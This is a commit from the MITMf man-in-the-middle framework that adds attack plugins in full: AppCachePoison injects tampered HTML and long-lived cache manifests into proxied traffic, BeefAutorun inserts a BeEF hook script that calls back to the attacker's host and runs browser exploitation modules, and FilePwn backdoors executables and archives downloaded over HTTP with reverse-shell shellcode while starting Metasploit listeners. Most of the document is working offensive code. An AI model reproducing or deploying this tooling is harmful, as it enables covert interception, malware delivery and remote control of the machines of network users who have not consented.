All plugins are now modified to support dynamic config file changes

Responder functionality fully restored
This commit is contained in:
byt3bl33d3r 2015-05-05 19:04:01 +02:00
commit 70ec5a2bbc
50 changed files with 2102 additions and 798 deletions

206
plugins/AppCachePoison.py Normal file
View file

@ -0,0 +1,206 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
# 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz
import logging
import re
import os.path
import time
import sys
from datetime import date
from plugins.plugin import Plugin
from core.sslstrip.URLMonitor import URLMonitor
mitmf_logger = logging.getLogger("mitmf")
class AppCachePlugin(Plugin):
name = "App Cache Poison"
optname = "appoison"
desc = "Performs App Cache Poisoning attacks"
implements = ["handleResponse"]
version = "0.3"
has_opts = False
def initialize(self, options):
self.options = options
self.mass_poisoned_browsers = []
self.urlMonitor = URLMonitor.getInstance()
self.urlMonitor.setAppCachePoisoning()
def handleResponse(self, request, data):
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
url = request.client.uri
req_headers = request.client.getAllHeaders()
headers = request.client.responseHeaders
ip = request.client.getClientIP()
#########################################################################
if "enable_only_in_useragents" in self.app_config:
regexp = self.app_config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]):
mitmf_logger.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"]))
return {'request': request, 'data': data}
urls = self.urlMonitor.getRedirectionSet(url)
mitmf_logger.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls))
(name,s,element,url) = self.getSectionForUrls(urls)
if s is False:
data = self.tryMassPoison(url, data, headers, req_headers, ip)
return {'request': request, 'data': data}
mitmf_logger.info("%s Found URL %s in section %s" % (ip, url, name))
p = self.getTemplatePrefix(s)
if element == 'tamper':
mitmf_logger.info("%s Poisoning tamper URL with template %s" % (ip, p))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to body
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
# add manifest reference
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
elif element == "manifest":
mitmf_logger.info("%s Poisoning manifest URL" % ip)
data = self.getSpoofedManifest(url, s)
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
elif element == "raw": # raw resource to modify, it does not have to be html
mitmf_logger.info("%s Poisoning raw URL" % ip)
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to response body
data += appendix
self.cacheForFuture(headers)
self.removeDangerousHeaders(headers)
return {'request': request, 'data': data}
def tryMassPoison(self, url, data, headers, req_headers, ip):
browser_id = ip + req_headers.get("user-agent", "")
if not 'mass_poison_url_match' in self.app_config: # no url
return data
if browser_id in self.mass_poisoned_browsers: #already poisoned
return data
if not headers.hasHeader('content-type') or not re.search('html(;|$)', headers.getRawHeaders('content-type')[0]): #not HTML
return data
if 'mass_poison_useragent_match' in self.app_config and not "user-agent" in req_headers:
return data
if not re.search(self.app_config['mass_poison_useragent_match'], req_headers['user-agent']): #different UA
return data
if not re.search(self.app_config['mass_poison_url_match'], url): #different url
return data
mitmf_logger.debug("Adding AppCache mass poison for URL %s, id %s" % (url, browser_id))
appendix = self.getMassPoisonHtml()
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
return data
def getMassPoisonHtml(self):
html = "<div style=\"position:absolute;left:-100px\">"
for i in self.app_config:
if isinstance(self.app_config[i], dict):
if self.app_config[i].has_key('tamper_url') and not self.app_config[i].get('skip_in_mass_poison', False):
html += "<iframe sandbox=\"\" style=\"opacity:0;visibility:hidden\" width=\"1\" height=\"1\" src=\"" + self.app_config[i]['tamper_url'] + "\"></iframe>"
return html + "</div>"
def cacheForFuture(self, headers):
ten_years = 315569260
headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)])
headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh
in_ten_years = date.fromtimestamp(time.time() + ten_years)
headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")])
def removeDangerousHeaders(self, headers):
headers.removeHeader("X-Frame-Options")
def getSpoofedManifest(self, url, section):
p = self.getTemplatePrefix(section)
if not os.path.exists(p+'.manifest'):
p = self.getDefaultTemplatePrefix()
f = open(p + '.manifest', 'r')
manifest = f.read()
f.close()
return self.decorate(manifest, section)
def decorate(self, content, section):
for i in section:
content = content.replace("%%"+i+"%%", section[i])
return content
def getTemplatePrefix(self, section):
if section.has_key('templates'):
return self.app_config['templates_path'] + '/' + section['templates']
return self.getDefaultTemplatePrefix()
def getDefaultTemplatePrefix(self):
return self.app_config['templates_path'] + '/default'
def getManifestUrl(self, section):
return section.get("manifest_url",'/robots.txt')
def getSectionForUrls(self, urls):
for url in urls:
for i in self.app_config:
if isinstance(self.app_config[i], dict): #section
section = self.app_config[i]
name = i
if section.get('tamper_url',False) == url:
return (name, section, 'tamper',url)
if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url):
return (name, section, 'tamper',url)
if section.get('manifest_url',False) == url:
return (name, section, 'manifest',url)
if section.get('raw_url',False) == url:
return (name, section, 'raw',url)
return (None, False,'',urls.copy().pop())

127
plugins/BeefAutorun.py Normal file
View file

@ -0,0 +1,127 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import sys
import json
from time import sleep
from core.beefapi import BeefAPI
from core.utils import SystemConfig
from plugins.plugin import Plugin
from plugins.Inject import Inject
mitmf_logger = logging.getLogger("mitmf")
class BeefAutorun(Inject, Plugin):
name = "BeEFAutorun"
optname = "beefauto"
desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
tree_output = []
depends = ["Inject"]
version = "0.3"
has_opts = False
def initialize(self, options):
self.options = options
self.ip_address = SystemConfig.getIP(options.interface)
Inject.initialize(self, options)
self.tree_output.append("Mode: {}".format(self.config['BeEFAutorun']['mode']))
self.onConfigChange()
def onConfigChange(self):
beefconfig = self.config['MITMf']['BeEF']
self.html_payload = '<script type="text/javascript" src="http://{}:{}/hook.js"></script>'.format(self.ip_address, beefconfig['beefport'])
self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
if not self.beef.login(beefconfig['user'], beefconfig['pass']):
sys.exit("[-] Error logging in to BeEF!")
def startThread(self, options):
self.autorun()
def autorun(self):
already_ran = []
already_hooked = []
while True:
mode = self.config['BeEFAutorun']['mode']
sessions = self.beef.sessions_online()
if (sessions is not None and len(sessions) > 0):
for session in sessions:
if session not in already_hooked:
info = self.beef.hook_info(session)
mitmf_logger.info("{} >> joined the horde! [id:{}, type:{}-{}, os:{}]".format(info['ip'], info['id'], info['name'], info['version'], info['os']))
already_hooked.append(session)
self.black_ips.append(str(info['ip']))
if mode == 'oneshot':
if session not in already_ran:
self.execModules(session)
already_ran.append(session)
elif mode == 'loop':
self.execModules(session)
sleep(10)
else:
sleep(1)
def execModules(self, session):
session_info = self.beef.hook_info(session)
session_ip = session_info['ip']
hook_browser = session_info['name']
hook_os = session_info['os']
all_modules = self.config['BeEFAutorun']["ALL"]
targeted_modules = self.config['BeEFAutorun']["targets"]
if len(all_modules) > 0:
mitmf_logger.info("{} >> sending generic modules".format(session_ip))
for module, options in all_modules.iteritems():
mod_id = self.beef.module_id(module)
resp = self.beef.module_run(session, mod_id, json.loads(options))
if resp["success"] == 'true':
mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id))
else:
mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id))
sleep(0.5)
mitmf_logger.info("{} >> sending targeted modules".format(session_ip))
for os in targeted_modules:
if (os in hook_os) or (os == hook_os):
browsers = targeted_modules[os]
if len(browsers) > 0:
for browser in browsers:
if browser == hook_browser:
modules = targeted_modules[os][browser]
if len(modules) > 0:
for module, options in modules.iteritems():
mod_id = self.beef.module_id(module)
resp = self.beef.module_run(session, mod_id, json.loads(options))
if resp["success"] == 'true':
mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id))
else:
mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id))
sleep(0.5)

129
plugins/BrowserProfiler.py Normal file

File diff suppressed because one or more lines are too long

650
plugins/FilePwn.py Normal file
View file

@ -0,0 +1,650 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
#
# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
#
# Copyright (c) 2013-2014, Joshua Pitts
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# Tested on Kali-Linux.
import sys
import os
import pefile
import zipfile
import logging
import shutil
import random
import string
import tarfile
import multiprocessing
from libs.bdfactory import pebin
from libs.bdfactory import elfbin
from libs.bdfactory import machobin
from core.msfrpc import Msfrpc
from plugins.plugin import Plugin
from tempfile import mkstemp
from configobj import ConfigObj
mitmf_logger = logging.getLogger("mitmf")
class FilePwn(Plugin):
name = "FilePwn"
optname = "filepwn"
desc = "Backdoor executables being sent over http using bdfactory"
implements = ["handleResponse"]
tree_output = ["BDFProxy v0.3.2 online"]
version = "0.3"
has_opts = False
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.patched = multiprocessing.Queue()
#FOR FUTURE USE
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream']
#FOR FUTURE USE
self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip']
#USED NOW
self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0},
'pe': {'number': 'MZ', 'offset': 0},
'gz': {'number': '1f8b'.decode('hex'), 'offset': 0},
'bz': {'number': 'BZ', 'offset': 0},
'zip': {'number': '504b0304'.decode('hex'), 'offset': 0},
'tar': {'number': 'ustar', 'offset': 257},
'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0},
'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0},
'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0},
}
#NOT USED NOW
#self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
#FilePwn options
self.userConfig = self.config['FilePwn']
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
self.WindowsType = self.userConfig['targets']['ALL']['WindowsType']
self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86']
self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64']
self.LinuxType = self.userConfig['targets']['ALL']['LinuxType']
self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86']
self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64']
self.FatPriority = self.userConfig['targets']['ALL']['FatPriority']
self.zipblacklist = self.userConfig['ZIP']['blacklist']
self.tarblacklist = self.userConfig['TAR']['blacklist']
#Metasploit options
msfcfg = self.config['MITMf']['Metasploit']
rpcip = msfcfg['rpcip']
rpcpass = msfcfg['rpcpass']
try:
msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary
msf.login('msf', rpcpass)
version = msf.call('core.version')['version']
self.tree_output.append("Connected to Metasploit v{}".format(version))
except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
self.tree_output.append("Setting up Metasploit payload handlers")
jobs = msf.call('job.list')
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
cmd = "use exploit/multi/handler\n"
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
cmd += "set LHOST {}\n".format(config["HOST"])
cmd += "set LPORT {}\n".format(config["PORT"])
cmd += "exploit -j\n"
if jobs:
for pid, name in jobs.iteritems():
info = msf.call('job.info', [pid])
if (info['name'] != "Exploit: multi/handler") or (info['datastore']['payload'] != config["MSFPAYLOAD"]) or (info['datastore']['LPORT'] != config["PORT"]) or (info['datastore']['lhost'] != config['HOST']):
#Create a virtual console
c_id = msf.call('console.create')['id']
#write the cmd to the newly created console
msf.call('console.write', [c_id, cmd])
else:
#Create a virtual console
c_id = msf.call('console.create')['id']
#write the cmd to the newly created console
msf.call('console.write', [c_id, cmd])
def onConfigChange(self):
self.initialize(self.options)
def convert_to_Bool(self, aString):
if aString.lower() == 'true':
return True
elif aString.lower() == 'false':
return False
elif aString.lower() == 'none':
return None
def bytes_have_format(self, bytess, formatt):
number = self.magicNumbers[formatt]
if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']:
return True
return False
def binaryGrinder(self, binaryFile):
"""
Feed potential binaries into this function,
it will return the result PatchedBinary, False, or None
"""
with open(binaryFile, 'r+b') as f:
binaryTMPHandle = f.read()
binaryHeader = binaryTMPHandle[:4]
result = None
try:
if binaryHeader[:2] == 'MZ': # PE/COFF
pe = pefile.PE(data=binaryTMPHandle, fast_load=True)
magic = pe.OPTIONAL_HEADER.Magic
machineType = pe.FILE_HEADER.Machine
#update when supporting more than one arch
if (magic == int('20B', 16) and machineType == 0x8664 and
self.WindowsType.lower() in ['all', 'x64']):
add_section = False
cave_jumping = False
if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append':
add_section = True
elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump':
cave_jumping = True
# if automatic override
if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic':
cave_jumping = True
targetFile = pebin.pebin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.WindowsIntelx64['SHELL'],
HOST=self.WindowsIntelx64['HOST'],
PORT=int(self.WindowsIntelx64['PORT']),
ADD_SECTION=add_section,
CAVE_JUMPING=cave_jumping,
IMAGE_TYPE=self.WindowsType,
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']),
SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'],
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']),
PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower()
)
result = targetFile.run_this()
elif (machineType == 0x14c and
self.WindowsType.lower() in ['all', 'x86']):
add_section = False
cave_jumping = False
#add_section wins for cave_jumping
#default is single for BDF
if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append':
add_section = True
elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump':
cave_jumping = True
# if automatic override
if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic':
cave_jumping = True
targetFile = pebin.pebin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.WindowsIntelx86['SHELL'],
HOST=self.WindowsIntelx86['HOST'],
PORT=int(self.WindowsIntelx86['PORT']),
ADD_SECTION=add_section,
CAVE_JUMPING=cave_jumping,
IMAGE_TYPE=self.WindowsType,
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']),
SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'],
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']),
PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower()
)
result = targetFile.run_this()
elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF
targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False)
targetFile.support_check()
if targetFile.class_type == 0x1:
#x86CPU Type
targetFile = elfbin.elfbin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.LinuxIntelx86['SHELL'],
HOST=self.LinuxIntelx86['HOST'],
PORT=int(self.LinuxIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'],
IMAGE_TYPE=self.LinuxType
)
result = targetFile.run_this()
elif targetFile.class_type == 0x2:
#x64
targetFile = elfbin.elfbin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.LinuxIntelx64['SHELL'],
HOST=self.LinuxIntelx64['HOST'],
PORT=int(self.LinuxIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'],
IMAGE_TYPE=self.LinuxType
)
result = targetFile.run_this()
elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho
targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False)
targetFile.support_check()
#ONE CHIP SET MUST HAVE PRIORITY in FAT FILE
if targetFile.FAT_FILE is True:
if self.FatPriority == 'x86':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx86['SHELL'],
HOST=self.MachoIntelx86['HOST'],
PORT=int(self.MachoIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
elif self.FatPriority == 'x64':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx64['SHELL'],
HOST=self.MachoIntelx64['HOST'],
PORT=int(self.MachoIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx86['SHELL'],
HOST=self.MachoIntelx86['HOST'],
PORT=int(self.MachoIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx64['SHELL'],
HOST=self.MachoIntelx64['HOST'],
PORT=int(self.MachoIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
self.patched.put(result)
return
except Exception as e:
print 'Exception', str(e)
mitmf_logger.warning("EXCEPTION IN binaryGrinder {}".format(e))
return None
def tar_files(self, aTarFileBytes, formatt):
"When called will unpack and edit a Tar File and return a tar file"
print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB'
if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']):
print "[!] TarFile over allowed size"
mitmf_logger.info("TarFIle maxSize met {}".format(len(aTarFileBytes)))
self.patched.put(aTarFileBytes)
return
with tempfile.NamedTemporaryFile() as tarFileStorage:
tarFileStorage.write(aTarFileBytes)
tarFileStorage.flush()
if not tarfile.is_tarfile(tarFileStorage.name):
print '[!] Not a tar file'
self.patched.put(aTarFileBytes)
return
compressionMode = ':'
if formatt == 'gz':
compressionMode = ':gz'
if formatt == 'bz':
compressionMode = ':bz2'
tarFile = None
try:
tarFileStorage.seek(0)
tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode)
except tarfile.ReadError:
pass
if tarFile is None:
print '[!] Not a tar file'
self.patched.put(aTarFileBytes)
return
print '[*] Tar file contents and info:'
print '[*] Compression:', formatt
members = tarFile.getmembers()
for info in members:
print "\t", info.name, info.mtime, info.size
newTarFileStorage = tempfile.NamedTemporaryFile()
newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage)
patchCount = 0
wasPatched = False
for info in members:
print "[*] >>> Next file in tarfile:", info.name
if not info.isfile():
print info.name, 'is not a file'
newTarFile.addfile(info, tarFile.extractfile(info))
continue
if info.size >= long(self.FileSizeMax):
print info.name, 'is too big'
newTarFile.addfile(info, tarFile.extractfile(info))
continue
# Check against keywords
keywordCheck = False
if type(self.tarblacklist) is str:
if self.tarblacklist.lower() in info.name.lower():
keywordCheck = True
else:
for keyword in self.tarblacklist:
if keyword.lower() in info.name.lower():
keywordCheck = True
continue
if keywordCheck is True:
print "[!] Tar blacklist enforced!"
mitmf_logger.info('Tar blacklist enforced on {}'.format(info.name))
continue
# Try to patch
extractedFile = tarFile.extractfile(info)
if patchCount >= int(self.userConfig['TAR']['patchCount']):
newTarFile.addfile(info, extractedFile)
else:
# create the file on disk temporarily for fileGrinder to run on it
with tempfile.NamedTemporaryFile() as tmp:
shutil.copyfileobj(extractedFile, tmp)
tmp.flush()
patchResult = self.binaryGrinder(tmp.name)
if patchResult:
patchCount += 1
file2 = "backdoored/" + os.path.basename(tmp.name)
print "[*] Patching complete, adding to tar file."
info.size = os.stat(file2).st_size
with open(file2, 'rb') as f:
newTarFile.addfile(info, f)
mitmf_logger.info("{} in tar patched, adding to tarfile".format(info.name))
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
with open(tmp.name, 'rb') as f:
newTarFile.addfile(info, f)
mitmf_logger.info("{} patching failed. Keeping original file in tar.".format(info.name))
if patchCount == int(self.userConfig['TAR']['patchCount']):
mitmf_logger.info("Met Tar config patchCount limit.")
# finalize the writing of the tar file first
newTarFile.close()
# then read the new tar file into memory
newTarFileStorage.seek(0)
ret = newTarFileStorage.read()
newTarFileStorage.close() # it's automatically deleted
if wasPatched is False:
# If nothing was changed return the original
print "[*] No files were patched forwarding original file"
self.patched.put(aTarFileBytes)
return
else:
self.patched.put(ret)
return
def zip_files(self, aZipFile):
"When called will unpack and edit a Zip File and return a zip file"
print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB'
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
print "[!] ZipFile over allowed size"
mitmf_logger.info("ZipFIle maxSize met {}".format(len(aZipFile)))
self.patched.put(aZipFile)
return
tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8))
tmpDir = '/tmp/' + tmpRan
tmpFile = '/tmp/' + tmpRan + '.zip'
os.mkdir(tmpDir)
with open(tmpFile, 'w') as f:
f.write(aZipFile)
zippyfile = zipfile.ZipFile(tmpFile, 'r')
#encryption test
try:
zippyfile.testzip()
except RuntimeError as e:
if 'encrypted' in str(e):
mitmf_logger.info('Encrypted zipfile found. Not patching.')
return aZipFile
print "[*] ZipFile contents and info:"
for info in zippyfile.infolist():
print "\t", info.filename, info.date_time, info.file_size
zippyfile.extractall(tmpDir)
patchCount = 0
wasPatched = False
for info in zippyfile.infolist():
print "[*] >>> Next file in zipfile:", info.filename
if os.path.isdir(tmpDir + '/' + info.filename) is True:
print info.filename, 'is a directory'
continue
#Check against keywords
keywordCheck = False
if type(self.zipblacklist) is str:
if self.zipblacklist.lower() in info.filename.lower():
keywordCheck = True
else:
for keyword in self.zipblacklist:
if keyword.lower() in info.filename.lower():
keywordCheck = True
continue
if keywordCheck is True:
print "[!] Zip blacklist enforced!"
mitmf_logger.info('Zip blacklist enforced on {}'.format(info.filename))
continue
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
if patchResult:
patchCount += 1
file2 = "backdoored/" + os.path.basename(info.filename)
print "[*] Patching complete, adding to zip file."
shutil.copyfile(file2, tmpDir + '/' + info.filename)
mitmf_logger.info("{} in zip patched, adding to zipfile".format(info.filename))
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
mitmf_logger.info("{} patching failed. Keeping original file in zip.".format(info.filename))
print '-' * 10
if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting.
mitmf_logger.info("Met Zip config patchCount limit.")
break
zippyfile.close()
zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED)
print "[*] Writing to zipfile:", tmpFile
for base, dirs, files in os.walk(tmpDir):
for afile in files:
filename = os.path.join(base, afile)
print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '')
zipResult.write(filename, arcname=filename.replace(tmpDir + '/', ''))
zipResult.close()
#clean up
shutil.rmtree(tmpDir)
with open(tmpFile, 'rb') as f:
tempZipFile = f.read()
os.remove(tmpFile)
if wasPatched is False:
print "[*] No files were patched forwarding original file"
self.patched.put(aZipFile)
return
else:
self.patched.put(tempZipFile)
return
def handleResponse(self, request, data):
content_header = request.client.headers['Content-Type']
client_ip = request.client.getClientIP()
if content_header in self.zipMimeTypes:
if self.bytes_have_format(data, 'zip'):
mitmf_logger.info("{} Detected supported zip file type!".format(client_ip))
process = multiprocessing.Process(name='zip', target=self.zip, args=(data,))
process.daemon = True
process.start()
process.join()
bd_zip = self.patched.get()
if bd_zip:
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
return {'request': request, 'data': bd_zip}
else:
for tartype in ['gz','bz','tar']:
if self.bytes_have_format(data, tartype):
mitmf_logger.info("{} Detected supported tar file type!".format(client_ip))
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
process.daemon = True
process.start()
process.join()
bd_tar = self.patched.get()
if bd_tar:
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
return {'request': request, 'data': bd_tar}
elif content_header in self.binaryMimeTypes:
for bintype in ['pe','elf','fatfile','machox64','machox86']:
if self.bytes_have_format(data, bintype):
mitmf_logger.info("{} Detected supported binary type!".format(client_ip))
fd, tmpFile = mkstemp()
with open(tmpFile, 'w') as f:
f.write(data)
process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,))
process.daemon = True
process.start()
process.join()
patchb = self.patched.get()
if patchb:
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
os.remove('./backdoored/' + os.path.basename(tmpFile))
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
return {'request': request, 'data': bd_binary}
else:
mitmf_logger.debug("{} File is not of supported Content-Type: {}".format(client_ip, content_header))
return {'request': request, 'data': data}

View file

@ -53,18 +53,6 @@ class Inject(CacheKill, Plugin):
self.match_str = options.match_str
self.html_payload = options.html_payload
if self.white_ips:
temp = []
for ip in self.white_ips.split(','):
temp.append(ip)
self.white_ips = temp
if self.black_ips:
temp = []
for ip in self.black_ips.split(','):
